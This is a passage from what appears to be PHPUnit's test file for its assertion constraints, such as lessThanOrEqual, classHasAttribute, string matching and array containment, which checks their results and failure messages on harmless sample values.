testConstraintLessThanOrEqual() { $constraint = PHPUnit_Framework_Assert::lessThanOrEqual(1); $this->assertTrue($constraint->evaluate(1, '', true)); $this->assertFalse($constraint->evaluate(2, '', true)); $this->assertEquals('is equal to 1 or is less than 1', $constraint->toString()); $this->assertEquals(2, count($constraint)); try { $constraint->evaluate(2); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 2 is equal to 1 or is less than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_Callback */ public function testConstraintCallback() { $closureReflect = function ($parameter) { return $parameter; }; $closureWithoutParameter = function () { return true; }; $constraint = PHPUnit_Framework_Assert::callback($closureWithoutParameter); $this->assertTrue($constraint->evaluate('', '', true)); $constraint = PHPUnit_Framework_Assert::callback($closureReflect); $this->assertTrue($constraint->evaluate(true, '', true)); $this->assertFalse($constraint->evaluate(false, '', true)); $callback = [$this, 'callbackReturningTrue']; $constraint = PHPUnit_Framework_Assert::callback($callback); $this->assertTrue($constraint->evaluate(false, '', true)); $callback = ['Framework_ConstraintTest', 'staticCallbackReturningTrue']; $constraint = PHPUnit_Framework_Assert::callback($callback); $this->assertTrue($constraint->evaluate(null, '', true)); $this->assertEquals('is accepted by specified callback', $constraint->toString()); } /** * @covers PHPUnit_Framework_Constraint_Callback * @expectedException PHPUnit_Framework_ExpectationFailedException * @expectedExceptionMessage Failed asserting that 'This fails' is accepted by specified callback. */ public function testConstraintCallbackFailure() { $constraint = PHPUnit_Framework_Assert::callback(function () { return false; }); $constraint->evaluate('This fails'); } public function callbackReturningTrue() { return true; } public static function staticCallbackReturningTrue() { return true; } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_LessThan * @covers PHPUnit_Framework_Constraint_Or * @covers PHPUnit_Framework_Assert::lessThanOrEqual * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintLessThanOrEqual2() { $constraint = PHPUnit_Framework_Assert::lessThanOrEqual(1); try { $constraint->evaluate(2, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 2 is equal to 1 or is less than 1. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_LessThan * @covers PHPUnit_Framework_Constraint_Or * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::lessThanOrEqual * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotLessThanOrEqual() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::lessThanOrEqual(1) ); $this->assertTrue($constraint->evaluate(2, '', true)); $this->assertFalse($constraint->evaluate(1, '', true)); $this->assertEquals('not( is equal to 1 or is less than 1 )', $constraint->toString()); $this->assertEquals(2, count($constraint)); try { $constraint->evaluate(1); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that not( 1 is equal to 1 or is less than 1 ). EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_IsEqual * @covers PHPUnit_Framework_Constraint_LessThan * @covers PHPUnit_Framework_Constraint_Or * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::lessThanOrEqual * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintNotLessThanOrEqual2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::lessThanOrEqual(1) ); try { $constraint->evaluate(1, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that not( 1 is equal to 1 or is less than 1 ). EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ClassHasAttribute * @covers PHPUnit_Framework_Assert::classHasAttribute * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintClassHasAttribute() { $constraint = PHPUnit_Framework_Assert::classHasAttribute('privateAttribute'); $this->assertTrue($constraint->evaluate('ClassWithNonPublicAttributes', '', true)); $this->assertFalse($constraint->evaluate('stdClass', '', true)); $this->assertEquals('has attribute "privateAttribute"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('stdClass'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that class "stdClass" has attribute "privateAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ClassHasAttribute * @covers PHPUnit_Framework_Assert::classHasAttribute * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintClassHasAttribute2() { $constraint = PHPUnit_Framework_Assert::classHasAttribute('privateAttribute'); try { $constraint->evaluate('stdClass', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that class "stdClass" has attribute "privateAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ClassHasAttribute * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::classHasAttribute * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintClassNotHasAttribute() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::classHasAttribute('privateAttribute') ); $this->assertTrue($constraint->evaluate('stdClass', '', true)); $this->assertFalse($constraint->evaluate('ClassWithNonPublicAttributes', '', true)); $this->assertEquals('does not have attribute "privateAttribute"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('ClassWithNonPublicAttributes'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that class "ClassWithNonPublicAttributes" does not have attribute "privateAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ClassHasAttribute * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::classHasAttribute * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintClassNotHasAttribute2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::classHasAttribute('privateAttribute') ); try { $constraint->evaluate('ClassWithNonPublicAttributes', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that class "ClassWithNonPublicAttributes" does not have attribute "privateAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ClassHasStaticAttribute * @covers PHPUnit_Framework_Assert::classHasStaticAttribute * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintClassHasStaticAttribute() { $constraint = PHPUnit_Framework_Assert::classHasStaticAttribute('privateStaticAttribute'); $this->assertTrue($constraint->evaluate('ClassWithNonPublicAttributes', '', true)); $this->assertFalse($constraint->evaluate('stdClass', '', true)); $this->assertEquals('has static attribute "privateStaticAttribute"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('stdClass'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that class "stdClass" has static attribute "privateStaticAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ClassHasStaticAttribute * @covers PHPUnit_Framework_Assert::classHasStaticAttribute * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintClassHasStaticAttribute2() { $constraint = PHPUnit_Framework_Assert::classHasStaticAttribute('foo'); try { $constraint->evaluate('stdClass', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that class "stdClass" has static attribute "foo". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ClassHasStaticAttribute * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::classHasStaticAttribute * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintClassNotHasStaticAttribute() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::classHasStaticAttribute('privateStaticAttribute') ); $this->assertTrue($constraint->evaluate('stdClass', '', true)); $this->assertFalse($constraint->evaluate('ClassWithNonPublicAttributes', '', true)); $this->assertEquals('does not have static attribute "privateStaticAttribute"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('ClassWithNonPublicAttributes'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that class "ClassWithNonPublicAttributes" does not have static attribute "privateStaticAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ClassHasStaticAttribute * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::classHasStaticAttribute * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintClassNotHasStaticAttribute2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::classHasStaticAttribute('privateStaticAttribute') ); try { $constraint->evaluate('ClassWithNonPublicAttributes', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that class "ClassWithNonPublicAttributes" does not have static attribute "privateStaticAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ObjectHasAttribute * @covers PHPUnit_Framework_Assert::objectHasAttribute * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintObjectHasAttribute() { $constraint = PHPUnit_Framework_Assert::objectHasAttribute('privateAttribute'); $this->assertTrue($constraint->evaluate(new ClassWithNonPublicAttributes, '', true)); $this->assertFalse($constraint->evaluate(new stdClass, '', true)); $this->assertEquals('has attribute "privateAttribute"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(new stdClass); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that object of class "stdClass" has attribute "privateAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ObjectHasAttribute * @covers PHPUnit_Framework_Assert::objectHasAttribute * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintObjectHasAttribute2() { $constraint = PHPUnit_Framework_Assert::objectHasAttribute('privateAttribute'); try { $constraint->evaluate(new stdClass, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that object of class "stdClass" has attribute "privateAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ObjectHasAttribute * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::objectHasAttribute * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintObjectNotHasAttribute() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::objectHasAttribute('privateAttribute') ); $this->assertTrue($constraint->evaluate(new stdClass, '', true)); $this->assertFalse($constraint->evaluate(new ClassWithNonPublicAttributes, '', true)); $this->assertEquals('does not have attribute "privateAttribute"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(new ClassWithNonPublicAttributes); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that object of class "ClassWithNonPublicAttributes" does not have attribute "privateAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ObjectHasAttribute * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::objectHasAttribute * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintObjectNotHasAttribute2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::objectHasAttribute('privateAttribute') ); try { $constraint->evaluate(new ClassWithNonPublicAttributes, 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that object of class "ClassWithNonPublicAttributes" does not have attribute "privateAttribute". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_PCREMatch * @covers PHPUnit_Framework_Assert::matchesRegularExpression * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintPCREMatch() { $constraint = PHPUnit_Framework_Assert::matchesRegularExpression('/foo/'); $this->assertFalse($constraint->evaluate('barbazbar', '', true)); $this->assertTrue($constraint->evaluate('barfoobar', '', true)); $this->assertEquals('matches PCRE pattern "/foo/"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('barbazbar'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 'barbazbar' matches PCRE pattern "/foo/". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_PCREMatch * @covers PHPUnit_Framework_Assert::matchesRegularExpression * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintPCREMatch2() { $constraint = PHPUnit_Framework_Assert::matchesRegularExpression('/foo/'); try { $constraint->evaluate('barbazbar', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that 'barbazbar' matches PCRE pattern "/foo/". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_PCREMatch * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::matchesRegularExpression * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintPCRENotMatch() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::matchesRegularExpression('/foo/') ); $this->assertTrue($constraint->evaluate('barbazbar', '', true)); $this->assertFalse($constraint->evaluate('barfoobar', '', true)); $this->assertEquals('does not match PCRE pattern "/foo/"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('barfoobar'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 'barfoobar' does not match PCRE pattern "/foo/". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_PCREMatch * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::matchesRegularExpression * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintPCRENotMatch2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::matchesRegularExpression('/foo/') ); try { $constraint->evaluate('barfoobar', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that 'barfoobar' does not match PCRE pattern "/foo/". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringMatches * @covers PHPUnit_Framework_Assert::matches * @covers PHPUnit_Framework_Constraint::count */ public function testConstraintStringMatches() { $constraint = PHPUnit_Framework_Assert::matches('*%c*'); $this->assertFalse($constraint->evaluate('**', '', true)); $this->assertTrue($constraint->evaluate('***', '', true)); $this->assertEquals('matches PCRE pattern "/^\*.\*$/s"', $constraint->toString()); $this->assertEquals(1, count($constraint)); } /** * @covers PHPUnit_Framework_Constraint_StringMatches * @covers PHPUnit_Framework_Assert::matches * @covers PHPUnit_Framework_Constraint::count */ public function testConstraintStringMatches2() { $constraint = PHPUnit_Framework_Assert::matches('*%s*'); $this->assertFalse($constraint->evaluate('**', '', true)); $this->assertTrue($constraint->evaluate('***', '', true)); $this->assertEquals('matches PCRE pattern "/^\*[^\r\n]+\*$/s"', $constraint->toString()); $this->assertEquals(1, count($constraint)); } /** * @covers PHPUnit_Framework_Constraint_StringMatches * @covers PHPUnit_Framework_Assert::matches * @covers PHPUnit_Framework_Constraint::count */ public function testConstraintStringMatches3() { $constraint = PHPUnit_Framework_Assert::matches('*%i*'); $this->assertFalse($constraint->evaluate('**', '', true)); $this->assertTrue($constraint->evaluate('*0*', '', true)); $this->assertEquals('matches PCRE pattern "/^\*[+-]?\d+\*$/s"', $constraint->toString()); $this->assertEquals(1, count($constraint)); } /** * @covers PHPUnit_Framework_Constraint_StringMatches * @covers PHPUnit_Framework_Assert::matches * @covers PHPUnit_Framework_Constraint::count */ public function testConstraintStringMatches4() { $constraint = PHPUnit_Framework_Assert::matches('*%d*'); $this->assertFalse($constraint->evaluate('**', '', true)); $this->assertTrue($constraint->evaluate('*0*', '', true)); $this->assertEquals('matches PCRE pattern "/^\*\d+\*$/s"', $constraint->toString()); $this->assertEquals(1, count($constraint)); } /** * @covers PHPUnit_Framework_Constraint_StringMatches * @covers PHPUnit_Framework_Assert::matches * @covers PHPUnit_Framework_Constraint::count */ public function testConstraintStringMatches5() { $constraint = PHPUnit_Framework_Assert::matches('*%x*'); $this->assertFalse($constraint->evaluate('**', '', true)); $this->assertTrue($constraint->evaluate('*0f0f0f*', '', true)); $this->assertEquals('matches PCRE pattern "/^\*[0-9a-fA-F]+\*$/s"', $constraint->toString()); $this->assertEquals(1, count($constraint)); } /** * @covers PHPUnit_Framework_Constraint_StringMatches * @covers PHPUnit_Framework_Assert::matches * @covers PHPUnit_Framework_Constraint::count */ public function testConstraintStringMatches6() { $constraint = PHPUnit_Framework_Assert::matches('*%f*'); $this->assertFalse($constraint->evaluate('**', '', true)); $this->assertTrue($constraint->evaluate('*1.0*', '', true)); $this->assertEquals('matches PCRE pattern "/^\*[+-]?\.?\d+\.?\d*(?:[Ee][+-]?\d+)?\*$/s"', $constraint->toString()); $this->assertEquals(1, count($constraint)); } /** * @covers PHPUnit_Framework_Constraint_StringStartsWith * @covers PHPUnit_Framework_Assert::stringStartsWith * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringStartsWith() { $constraint = PHPUnit_Framework_Assert::stringStartsWith('prefix'); $this->assertFalse($constraint->evaluate('foo', '', true)); $this->assertTrue($constraint->evaluate('prefixfoo', '', true)); $this->assertEquals('starts with "prefix"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('foo'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 'foo' starts with "prefix". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringStartsWith * @covers PHPUnit_Framework_Assert::stringStartsWith * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringStartsWith2() { $constraint = PHPUnit_Framework_Assert::stringStartsWith('prefix'); try { $constraint->evaluate('foo', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message\nFailed asserting that 'foo' starts with "prefix". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringStartsWith * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::stringStartsWith * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringStartsNotWith() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::stringStartsWith('prefix') ); $this->assertTrue($constraint->evaluate('foo', '', true)); $this->assertFalse($constraint->evaluate('prefixfoo', '', true)); $this->assertEquals('starts not with "prefix"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('prefixfoo'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 'prefixfoo' starts not with "prefix". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringStartsWith * @covers PHPUnit_Framework_Assert::stringStartsWith * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringStartsNotWith2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::stringStartsWith('prefix') ); try { $constraint->evaluate('prefixfoo', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 'prefixfoo' starts not with "prefix". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringContains * @covers PHPUnit_Framework_Assert::stringContains * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringContains() { $constraint = PHPUnit_Framework_Assert::stringContains('foo'); $this->assertFalse($constraint->evaluate('barbazbar', '', true)); $this->assertTrue($constraint->evaluate('barfoobar', '', true)); $this->assertEquals('contains "foo"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('barbazbar'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 'barbazbar' contains "foo". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringContains * @covers PHPUnit_Framework_Assert::stringContains * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringContains2() { $constraint = PHPUnit_Framework_Assert::stringContains('foo'); try { $constraint->evaluate('barbazbar', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 'barbazbar' contains "foo". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringContains * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::stringContains * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringNotContains() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::stringContains('foo') ); $this->assertTrue($constraint->evaluate('barbazbar', '', true)); $this->assertFalse($constraint->evaluate('barfoobar', '', true)); $this->assertEquals('does not contain "foo"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('barfoobar'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 'barfoobar' does not contain "foo". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringContains * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::stringContains * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringNotContains2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::stringContains('foo') ); try { $constraint->evaluate('barfoobar', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 'barfoobar' does not contain "foo". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringEndsWith * @covers PHPUnit_Framework_Assert::stringEndsWith * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringEndsWith() { $constraint = PHPUnit_Framework_Assert::stringEndsWith('suffix'); $this->assertFalse($constraint->evaluate('foo', '', true)); $this->assertTrue($constraint->evaluate('foosuffix', '', true)); $this->assertEquals('ends with "suffix"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('foo'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 'foo' ends with "suffix". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringEndsWith * @covers PHPUnit_Framework_Assert::stringEndsWith * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringEndsWith2() { $constraint = PHPUnit_Framework_Assert::stringEndsWith('suffix'); try { $constraint->evaluate('foo', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 'foo' ends with "suffix". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringEndsWith * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::stringEndsWith * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringEndsNotWith() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::stringEndsWith('suffix') ); $this->assertTrue($constraint->evaluate('foo', '', true)); $this->assertFalse($constraint->evaluate('foosuffix', '', true)); $this->assertEquals('ends not with "suffix"', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('foosuffix'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that 'foosuffix' ends not with "suffix". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_StringEndsWith * @covers PHPUnit_Framework_Assert::stringEndsWith * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintStringEndsNotWith2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::stringEndsWith('suffix') ); try { $constraint->evaluate('foosuffix', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that 'foosuffix' ends not with "suffix". EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_TraversableContains */ public function testConstraintArrayContainsCheckForObjectIdentity() { // Check for primitive type. $constraint = new PHPUnit_Framework_Constraint_TraversableContains('foo', true, true); $this->assertFalse($constraint->evaluate([0], '', true)); $this->assertFalse($constraint->evaluate([true], '', true)); // Default case. $constraint = new PHPUnit_Framework_Constraint_TraversableContains('foo'); $this->assertTrue($constraint->evaluate([0], '', true)); $this->assertTrue($constraint->evaluate([true], '', true)); } /** * @covers PHPUnit_Framework_Constraint_TraversableContains * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintArrayContains() { $constraint = new PHPUnit_Framework_Constraint_TraversableContains('foo'); $this->assertFalse($constraint->evaluate(['bar'], '', true)); $this->assertTrue($constraint->evaluate(['foo'], '', true)); $this->assertEquals("contains 'foo'", $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(['bar']); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that an array contains 'foo'. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_TraversableContains * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintArrayContains2() { $constraint = new PHPUnit_Framework_Constraint_TraversableContains('foo'); try { $constraint->evaluate(['bar'], 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that an array contains 'foo'. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_TraversableContains * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintArrayNotContains() { $constraint = PHPUnit_Framework_Assert::logicalNot( new PHPUnit_Framework_Constraint_TraversableContains('foo') ); $this->assertTrue($constraint->evaluate(['bar'], '', true)); $this->assertFalse($constraint->evaluate(['foo'], '', true)); $this->assertEquals("does not contain 'foo'", $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate(['foo']); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that an array does not contain 'foo'. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * 